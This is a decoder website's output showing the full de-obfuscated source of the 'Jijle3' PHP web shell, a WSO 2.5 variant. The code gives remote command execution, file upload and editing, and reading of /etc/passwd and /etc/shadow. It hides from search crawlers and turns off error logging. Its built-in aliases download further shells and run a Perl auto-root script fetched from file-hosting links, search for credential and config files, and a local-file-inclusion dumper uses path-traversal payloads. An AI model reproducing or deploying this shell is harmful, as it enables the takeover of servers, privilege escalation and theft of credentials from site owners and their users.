Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\..
Decoded Output download
?><?php
echo "<link rel='shortcut icon' href='http://www.dz-streaming.eu/favicon.ico'>
<style type='text/css'>
input[type=submit], input[type=button], input[type=reset]{
text-align:center;
background:url(http://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
border:1px solid #4D4D4D;
color:#CCCCCC;
border-top-color:#565656;
padding:4px 6px;
margin:4px 5px;
height:16px;
-moz-box-shadow:0 0 1px black;
-webkit-box-shadow:0 0 1px black;
box-shadow:0 0 1px black;
text-shadow:0 1px black;
-moz-border-radius:4px;
-webkit-border-radius:4px;
-khtml-border-radius:4px;
border-radius:4px;
height:23px;
}
input[type=submit]:hover , input[type=button]:hover, input[type=reset]:hover{
background-position:center top;
text-decoration:none;
}
input[type=text], input[type=password]{
background:urlhttp://i43.tinypic.com/5owgmq.jpg) repeat-x center bottom #666666;
border:1px solid #4D4D4D;
color:#CCCCCC;
border-top-color:#565656;
-moz-box-shadow:0 0 1px black;
-webkit-box-shadow:0 0 1px black;
box-shadow:0 0 1px black;
-moz-border-radius:4px;
-webkit-border-radius:4px;
-khtml-border-radius:4px;
border-radius:4px;
height:18px;
margin-left: 5px;
}
input , textarea , button , body , caption , table ,area , option {
outline:none;
transition: all 0.20s ease-in-out;
-webkit-transition: all 0.25s ease-in-out;
-moz-transition: all 0.25s ease-in-out;
border-radius:3px;
-webkit-border-radius:3px;
-moz-border-radius:3px;
border:1px solid rgba(0,0,0, 0.2);
/* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
}
input , textarea {
background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
}
input:focus, textarea:focus ,button:active , body:focus , caption:focus , table:focus ,area:focus ,option:focus {
box-shadow: 0 0 5px rgba(0, 0, 255, 1);
-webkit-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
-moz-box-shadow: 0 0 5px rgba(0, 0, 255, 1);
border: 1px solid #CCCC00;
background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
overflow: auto;
/* font-family: 'Gill Sans', 'Gill Sans MT', Calibri, 'Trebuchet MS', sans-serif; */
}
body{
/* font-family : Verdana; */
color : #f9f6f1;
font-size : 0.7em;
background: url(http://i44.tinypic.com/i56tc9.jpg) no-repeat center top #252525;
}
input , textarea {
outline:none;
transition: all 0.20s ease-in-out;
-webkit-transition: all 0.25s ease-in-out;
-moz-transition: all 0.25s ease-in-out;
border-radius:3px;
-webkit-border-radius:3px;
-moz-border-radius:3px;
border:1px solid rgba(0,0,0, 0.2);
}
input:focus, textarea:focus {
outline: 0;
border-color: rgba(82, 168, 236, 0.8);
-webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
-moz-box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
box-shadow: inset 0 1px 3px rgba(0, 0, 0, 0.1), 0 0 8px rgba(82, 168, 236, 0.6);
background: url('http://i41.tinypic.com/ibkmd5.png') repeat scroll 0 0 #333333;';
overflow: auto;
}
</style>
";
# jijle3 login
#$auth_pass = md5('Jijle3');
#$color = "#df5";
#$default_action = 'Home';
#$default_use_ajax = true;
#$default_charset = 'Windows-1251';
#if(!empty($_SERVER['HTTP_USER_AGENT'])) {
# $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
#if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
# header('HTTP/1.0 404 Not Found');
# exit;
# }
#}
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('WSO_VERSION', '2.5');
if(get_magic_quotes_gpc()) {
function WSOstripslashes($array) {
return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
}
$_POST = WSOstripslashes($_POST);
$_COOKIE = WSOstripslashes($_COOKIE);
}
function wsoLogin() {
die("<center><span>Password : </span><input type=password name=pass><input type=submit value='Enter'></form></pre>");
}
function WSOsetcookie($k, $v) {
$_COOKIE[$k] = $v;
setcookie($k, $v);
}
if(!empty($auth_pass)) {
if(isset($_POST['pass']) && (md5($_POST['pass']) == $auth_pass))
WSOsetcookie(md5($_SERVER['HTTP_HOST']), $auth_pass);
if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])]) || ($_COOKIE[md5($_SERVER['HTTP_HOST'])] != $auth_pass))
wsoLogin();
}
if(strtolower(substr(PHP_OS,0,3)) == "win")
$os = 'win';
else
$os = 'nix';
$safe_mode = @ini_get('safe_mode');
if(!$safe_mode)
error_reporting(0);
$disable_functions = @ini_get('disable_functions');
$home_cwd = @getcwd();
if(isset($_POST['c']))
@chdir($_POST['c']);
$cwd = @getcwd();
if($os == 'win') {
$home_cwd = str_replace("\", "/", $home_cwd);
$cwd = str_replace("\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
$_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
if($os == 'win')
$aliases = array(
"List Directory" => "dir",
"Find index.php in current dir" => "dir /s /w /b index.php",
"Find *config*.php in current dir" => "dir /s /w /b *config*.php",
"Show active connections" => "netstat -an",
"Show running services" => "net start",
"User accounts" => "net user",
"Show computers" => "net view",
"ARP Table" => "arp -a",
"IP Configuration" => "ipconfig /all"
);
else
$aliases = array(
"List dir" => "ls -lha",
"list file attributes on a Linux second extended file system" => "lsattr -va",
"show opened ports" => "netstat -an | grep -i listen",
"process status" => "ps aux",
"Jijle3 : Get Nother Shells"=>"",
"Dhanush Shell | pass:Jijle3"=>"wget http://download1582.mediafire.com/9jtscxv4qdzg/7zq2q32v02kz59j/dhanush.php.zip ; unzip dhanush.php.zip",
"K2ll33d Shell "=>"wget http://download1643.mediafire.com/iq7073edn7pg/3vqec9bm5krrdrj/kil223dd.php.zip ; unzip kil223dd.php.zip",
"1n73ction Shell | pass:1n73ction "=>"wget http://download1512.mediafire.com/m8hgk0nnrupg/954ho11nt2b48w8/1n73ction.php.zip ; unzip 1n73ction.php.zip",
"Cyber Shell | pass:Jijle3"=>"wget http://download1512.mediafire.com/phidtd82s8vg/q6qx0xhcd1efzd5/cyb3.php.zip ; unzip cyb3.php.zip",
"Jijle3 : Some Commonds"=>"",
"Logged in users"=>"w",
"Last to connect"=>"lastlog",
"IP Addresses"=>"cat /etc/hosts",
"Check MMAP"=>"cat /proc/sys/vm/mmap_min_addr",
"USER WITHOUT PASSWORD!"=>"cut -d: -f1,2,3 /etc/passwd | grep ::",
"List of Cpanel`s domains(valiases)"=>"ls -l /etc/valiases",
"Downloaders?)"=>"which wget curl w3m lynx",
"Show running proccess"=>"ps aux",
"Memory check"=>"cat /proc/meminfo",
"Get cpanel logs"=>"cat /var/cpanel/accounting.log",
"Jijle3 : Auto Root Commonds"=>"",
"First ! : GET Auto Root File [ Perl ]"=>"wget http://download944.mediafire.com/5fi1yfk5ttcg/u4seoaw7ze1dio0/phdz.pl.zip ; unzip phdz.pl.zip ; ./phdz.pl",
"AutoRoot [ Linux ]"=>"perl phdz.pl linux",
"AutoRoot [ FreeBSD ]"=>"perl phdz.pl bsd",
"AutoRoot [ SunOS ]"=>"perl phdz.pl sunos",
"Find" => "",
"find all suid files" => "find / -type f -perm -04000 -ls",
"find suid files in current dir" => "find . -type f -perm -04000 -ls",
"find all sgid files" => "find / -type f -perm -02000 -ls",
"find sgid files in current dir" => "find . -type f -perm -02000 -ls",
"find config.inc.php files" => "find / -type f -name config.inc.php",
"find config* files" => "find / -type f -name \"config*\"",
"find config* files in current dir" => "find . -type f -name \"config*\"",
"find all writable folders and files" => "find / -perm -2 -ls",
"find all writable folders and files in current dir" => "find . -perm -2 -ls",
"find all service.pwd files" => "find / -type f -name service.pwd",
"find service.pwd files in current dir" => "find . -type f -name service.pwd",
"find all .htpasswd files" => "find / -type f -name .htpasswd",
"find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
"find all .bash_history files" => "find / -type f -name .bash_history",
"find .bash_history files in current dir" => "find . -type f -name .bash_history",
"find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
"find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
"Locate" => "",
"locate httpd.conf files" => "locate httpd.conf",
"locate vhosts.conf files" => "locate vhosts.conf",
"locate proftpd.conf files" => "locate proftpd.conf",
"locate psybnc.conf files" => "locate psybnc.conf",
"locate my.conf files" => "locate my.conf",
"locate admin.php files" =>"locate admin.php",
"locate cfg.php files" => "locate cfg.php",
"locate conf.php files" => "locate conf.php",
"locate config.dat files" => "locate config.dat",
"locate config.php files" => "locate config.php",
"locate config.inc files" => "locate config.inc",
"locate config.inc.php" => "locate config.inc.php",
"locate config.default.php files" => "locate config.default.php",
"locate config* files " => "locate config",
"locate .conf files"=>"locate '.conf'",
"locate .pwd files" => "locate '.pwd'",
"locate .sql files" => "locate '.sql'",
"locate .htpasswd files" => "locate '.htpasswd'",
"locate .bash_history files" => "locate '.bash_history'",
"locate .mysql_history files" => "locate '.mysql_history'",
"locate .fetchmailrc files" => "locate '.fetchmailrc'",
"locate backup files" => "locate backup",
"locate dump files" => "locate dump",
"locate priv files" => "locate priv"
);
function wsoHeader() {
if(empty($_POST['charset']))
$_POST['charset'] = $GLOBALS['default_charset'];
global $color;
if(!$color) $color = '#df5';
echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " | Jijle3 [PHDZ]</title>
<style>
body{background-color:#444;color:#e1e1e1;}
body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
table.info{ color:#fff;background-color:#222; }
span,h1,a{ color: $color !important; }
span{ font-weight: bolder; }
h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
div.content{ padding: 5px;margin-left:5px;background-color:#333; }
a{ text-decoration:none; }
a:hover{ text-decoration:underline; }
.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
.bigarea{ width:100%;height:250px; }
input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
form{ margin:0px; }
#toolsTbl{ text-align:center; }
.toolsInp{ width: 300px }
.main th{text-align:left;background-color:#5e5e5e;}
.main tr:hover{background-color:#5e5e5e}
.l1{background-color:#444}
pre{font-family:Courier,Monospace;}
</style>
<script>
var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
var p1_ = '" . ((strpos(@$_POST['p1'],"
")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
var p2_ = '" . ((strpos(@$_POST['p2'],"
")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
var p3_ = '" . ((strpos(@$_POST['p3'],"
")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
var d = document;
function set(a,c,p1,p2,p3,charset) {
if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
}
function g(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
d.mf.submit();
}
function a(a,c,p1,p2,p3,charset) {
set(a,c,p1,p2,p3,charset);
var params = 'ajax=true';
for(i=0;i<d.mf.elements.length;i++)
params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
}
function sr(url, params) {
if (window.XMLHttpRequest)
req = new XMLHttpRequest();
else if (window.ActiveXObject)
req = new ActiveXObject('Microsoft.XMLHTTP');
if (req) {
req.onreadystatechange = processReqChange;
req.open('POST', url, true);
req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
req.send(params);
}
}
function processReqChange() {
if( (req.readyState == 4) )
if(req.status == 200) {
var reg = new RegExp(\"(\d+)([\S\s]*)\", 'm');
var arr=reg.exec(req.responseText);
eval(arr[2].substr(0, arr[1]));
} else alert('Request error!');
}
</script>
<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
<form method=post name=mf style='display:none;'>
<input type=hidden name=a>
<input type=hidden name=c>
<input type=hidden name=p1>
<input type=hidden name=p2>
<input type=hidden name=p3>
<input type=hidden name=charset>
</form>";
$freeSpace = @diskfreespace($GLOBALS['cwd']);
$totalSpace = @disk_total_space($GLOBALS['cwd']);
$totalSpace = $totalSpace?$totalSpace:1;
$release = @php_uname('r');
$kernel = @php_uname('s');
$explink = 'http://exploit-db.com/search/?action=search&filter_description=';
if(strpos('Linux', $kernel) !== false)
$explink .= urlencode('Linux Kernel ' . substr($release,0,6));
else
$explink .= urlencode($kernel . ' ' . substr($release,0,3));
if(!function_exists('posix_getegid')) {
$user = @get_current_user();
$uid = @getmyuid();
$gid = @getmygid();
$group = "?";
} else {
$uid = @posix_getpwuid(posix_geteuid());
$gid = @posix_getgrgid(posix_getegid());
$user = $uid['name'];
$uid = $uid['uid'];
$group = $gid['name'];
$gid = $gid['gid'];
}
$cwd_links = '';
$path = explode("/", $GLOBALS['cwd']);
$n=count($path);
for($i=0; $i<$n-1; $i++) {
$cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
for($j=0; $j<=$i; $j++)
$cwd_links .= $path[$j].'/';
$cwd_links .= "\")'>".$path[$i]."/</a>";
}
$charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
$opt_charsets = '';
foreach($charsets as $item)
$opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
$m = array('Home'=>'home','Sec Info'=>'SecInfo','Exec'=>'Console','Sql'=>'Sql','Baypass'=>'bypss','Forums'=>'forum','Symlink'=>'symlinker','Domain'=>'domains','Tools'=>'tools','Cgi'=>'cgi','String'=>'StringTools','Network'=>'Network','About'=>'about' );
if(!empty($GLOBALS['auth_pass']))
$m['Logout'] = 'Logout';
$m['Suicide'] = 'SelfRemove';
$menu = '';
foreach($m as $k => $v)
$menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
$drives = "";
if($GLOBALS['os'] == 'win') {
foreach(range('c','z') as $drive)
if(is_dir($drive.':\'))
$drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
}
echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
. '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="http://www.google.com/search?q='.urlencode(@php_uname()).'" target="_blank">[ Google ]</a> <a href="http://www.exploit-db.com/search/?action=search&filter_description='.urlencode(@php_uname()).'" target="_blank">[ Exploit-db ]</a> <a href="http://www.1337day.com/search" target="_blank">[ 1337day ]</a> <a href="http://exploitsearch.com/search.html?cx=000255850439926950150%3A_vswux9nmz0&cof=FORID%3A10&q='.urlencode(@php_uname()).'" target="_blank">[ ExploitSearch ]</a> <a href="http://www.shodanhq.com/exploits?q='.urlencode(@php_uname()).'" target="_blank">[ Shodanhq ]</a> </nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' ) <span>Locals Pack :</span><a href="http://rghost.net/6YYsd7ynN" target="_blank"> [ Download ]</a></b> <br>' . @phpversion() . '<span>Safe mode:</span> '
. ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font> ' )
. ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ File Manager ]</a><br><br>' . $drives . '</td>'
. '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Your IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr><br>
</td></tr></table>'
. '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
}
function wsoFooter() {
$is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
echo "
</div>
<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
<tr>
<td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
<td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
</tr><tr>
<td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
<td><form method='post' ENCTYPE='multipart/form-data'>
<input type=hidden name=a value='FilesMAn'>
<input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
<input type=hidden name=p1 value='uploadFile'>
<input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
</tr></table></div></body></html>";
}
if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
function posix_getpwuid($p) {return false;} }
if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
function posix_getgrgid($p) {return false;} }
function wsoEx($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("
",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
}
return $out;
}
function wsoViewSize($s) {
if($s >= 1073741824)
return sprintf('%1.2f', $s / 1073741824 ). ' GB';
elseif($s >= 1048576)
return sprintf('%1.2f', $s / 1048576 ) . ' MB';
elseif($s >= 1024)
return sprintf('%1.2f', $s / 1024 ) . ' KB';
else
return $s . ' B';
}
function wsoPerms($p) {
if (($p & 0xC000) == 0xC000)$i = 's';
elseif (($p & 0xA000) == 0xA000)$i = 'l';
elseif (($p & 0x8000) == 0x8000)$i = '-';
elseif (($p & 0x6000) == 0x6000)$i = 'b';
elseif (($p & 0x4000) == 0x4000)$i = 'd';
elseif (($p & 0x2000) == 0x2000)$i = 'c';
elseif (($p & 0x1000) == 0x1000)$i = 'p';
else $i = 'u';
$i .= (($p & 0x0100) ? 'r' : '-');
$i .= (($p & 0x0080) ? 'w' : '-');
$i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
$i .= (($p & 0x0020) ? 'r' : '-');
$i .= (($p & 0x0010) ? 'w' : '-');
$i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
$i .= (($p & 0x0004) ? 'r' : '-');
$i .= (($p & 0x0002) ? 'w' : '-');
$i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
return $i;
}
function wsoPermsColor($f) {
if (!@is_readable($f))
return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
elseif (!@is_writable($f))
return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
else
return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
}
function wsoScandir($dir) {
if(function_exists("scandir")) {
return scandir($dir);
} else {
$dh = opendir($dir);
while (false !== ($filename = readdir($dh)))
$files[] = $filename;
return $files;
}
}
function wsoWhich($p) {
$path = wsoEx('which ' . $p);
if(!empty($path))
return $path;
return false;
}
function actionSecInfo() {
wsoHeader();
//Sec info
echo '<h1>Server Security Info</h1><div class=content>';
?>
</div>
</center>
<?php
function wsoSecParam($n, $v) {
$v = trim($v);
if($v) {
echo '<span>' . $n . ': </span>';
if(strpos($v, "
") === false)
echo $v . '<br>';
else
echo '<pre class=ml1>' . $v . '</pre>';
}
}
wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
if(function_exists('apache_get_modules'))
wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
wsoSecParam('Open base dir', @ini_get('open_basedir'));
wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
wsoSecParam('Supported databases', implode(', ', $temp));
echo '<br>';
if($GLOBALS['os'] == 'nix') {
wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
wsoSecParam('OS version', @file_get_contents('/proc/version'));
wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
if(!$GLOBALS['safe_mode']) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
echo '<br>';
$temp=array();
foreach ($userful as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(wsoWhich($item))
$temp[] = $item;
wsoSecParam('Downloaders', implode(', ',$temp));
echo '<br/>';
wsoSecParam('HDD space', wsoEx('df -h'));
wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
}
} else {
wsoSecParam('OS Version',wsoEx('ver'));
wsoSecParam('Account Settings',wsoEx('net accounts'));
wsoSecParam('User Accounts',wsoEx('net user'));
}
echo '</div>';
wsoFooter();
}
################# Home #################
function actionhome() {
wsoHeader();
//Home
echo'
<center>
<h1>[ Salam ♥ Alaykoum ]</h1>
<br /><br />
</form>
';
?><head>
<body bgcolor="Black"><table width=100% height=100%><td align="center">
<img src="http://www5.0zz0.com/2014/11/29/18/934285237.png" height="150" title="Martyrs Crew 2015 " width="478" ></img></img><p>
</img></img><p>
<span class="style1"><font size="9" color="#FFFFFF" face="Adobe Heiti Std R"></font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="#df5" face="Adobe Heiti Std R">
Jijle3 PHP Shell v 0.1.8</font><font size="9" face="Adobe Heiti Std R" color="#008000"></font><font size="7" color="#FFFFFF" face="Adobe Heiti Std R"></font></span></p>
<span>[ Say Hamd Li ' Allah ♥ ] </span>
<p>
<img src="http://im48.gulfup.com/jIm93E.png" height="92" title="Martyrs Crew Index Logo 2014 " width="178" ></p>
<p>
<pre>
<iframe src="//www.facebook.com/plugins/likebox.php?href=https%3A%2F%2Fwww.facebook.com%2FJ1jeI&width&height=62&colorscheme=light&show_faces=false&header=true&stream=false&show_border=true" scrolling="no" frameborder="0" style="border:none; overflow:hidden; height:62px;" allowTransparency="true"></iframe><pre>
<p>
<?
echo $serverIP = gethostbyname($_SERVER["HTTP_HOST"]);
echo '</center><br>';
echo "<br><br><center><b><font face='Tahoma' name=sip color='white' size='2pt'>Jijle3 PHP Web Shell V 0.1.8 (c) Phenomene Dz [ Martyrs Crew ] 2015</font></b></td><font face='Tahoma' color='WHITE' size='2pt' />";
echo " <b><a href='http://bing.com/search?q=ip:".$serverIP."&go=&form=QBLH&filt=all' target=\"_blank\">Bing.com
</a></b> - <b><a href='http://zone-h.com/archive/ip=".$serverIP."
' target=\"_blank\">Zone-H.org</a> -  <a href='http://www.yougetsignal.com/tools/web-sites-on-web-server/
' target=\"_blank\">Yougetsignal.com</a>
- <b><a href='http://toolbar.netcraft.com/site_report?url=https://" . $_SERVER['HTTP_HOST'] . "&go=&form=QBLH&filt=all' target=\"_blank\">NetCraft.com
</a></b> - <b><a href='https://pentest-tools.com/
' target=\"_blank\">Pentest-Tools.com</a>
</b></center><br>";
wsoFooter();}
################# End Home #################
function actionlfiscan() {
wsoHeader();
print '
<h3>Led-Zeppelin\'s LFI File dumper</h3>
<form method="post" action="?"><input type="hidden" name="a" value="lfiscan">
LFI URL: <input type="text" size="60" name="lfiurl" value=""> <input type="submit" value="Go"> File: <select name="scantype">
<option value="1">
Access Log
</option>
<option value="2">
httpd.conf
</option>
<option value="3">
Error Log
</option>
<option value="4">
php.ini
</option>
<option value="5">
MySQL
</option>
<option value="6">
FTP
</option>
<option value="7">
Environ
</option>
</select> Null: <select name="null">
<option value="%00">
Yes
</option>
<option value="">
No
</option>
</select> User-Agent: <input type="text" size="20" name="custom_header" value="">
</form>';
error_reporting(0);
if($_POST['lfiurl']) {
print "<pre>";
$cheader = $_POST['custom_header'];
$target = $_POST['lfiurl'];
$type = $_POST['scantype'];
$byte1 = $_POST['null'];
$lfitest = "../../../../../../../../../../../../../../etc/passwd".$byte1."";
$lfitest2 = "../../../../../../../../../../../../../../fake/file".$byte1."";
$lfiprocenv = "../../../../../../../../../../../../../../proc/environ".$byte1."";
$lfiaccess = array(
1 => "../../../../../../../../../../../../../../apache/logs/access.log".$byte1."",
2 => "../../../../../../../../../../../../../../etc/httpd/logs/acces_log".$byte1."",
3 => "../../../../../../../../../../../../../../etc/httpd/logs/acces.log".$byte1."",
4 => "../../../../../../../../../../../../../../var/www/logs/access_log".$byte1."",
5 => "../../../../../../../../../../../../../../var/www/logs/access.log".$byte1."",
6 => "../../../../../../../../../../../../../../usr/local/apache/logs/access_log".$byte1."",
7 => "../../../../../../../../../../../../../../usr/local/apache/logs/access.log".$byte1."",
8 => "../../../../../../../../../../../../../../var/log/apache/access_log".$byte1."",
9 => "../../../../../../../../../../../../../../var/log/apache2/access_log".$byte1."",
10 => "../../../../../../../../../../../../../../var/log/apache/access.log".$byte1."",
11 => "../../../../../../../../../../../../../../var/log/apache2/access.log".$byte1."",
12 => "../../../../../../../../../../../../../../var/log/access_log".$byte1."",
13 => "../../../../../../../../../../../../../../var/log/access.log".$byte1."",
14 => "../../../../../../../../../../../../../../var/log/httpd/access_log".$byte1."",
15 => "../../../../../../../../../../../../../../apache2/logs/access.log".$byte1."",
16 => "../../../../../../../../../../../../../../logs/access.log".$byte1."",
17 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access_log".$byte1."",
18 => "../../../../../../../../../../../../../../usr/local/apache2/logs/access.log".$byte1."",
19 => "../../../../../../../../../../../../../../var/log/httpd/access.log".$byte1."",
20 => "../../../../../../../../../../../../../../opt/lampp/logs/access_log".$byte1."",
21 => "../../../../../../../../../../../../../../opt/xampp/logs/access_log".$byte1."",
22 => "../../../../../../../../../../../../../../opt/lampp/logs/access.log".$byte1."",
23 => "../../../../../../../../../../../../../../opt/xampp/logs/access.log".$byte1."");
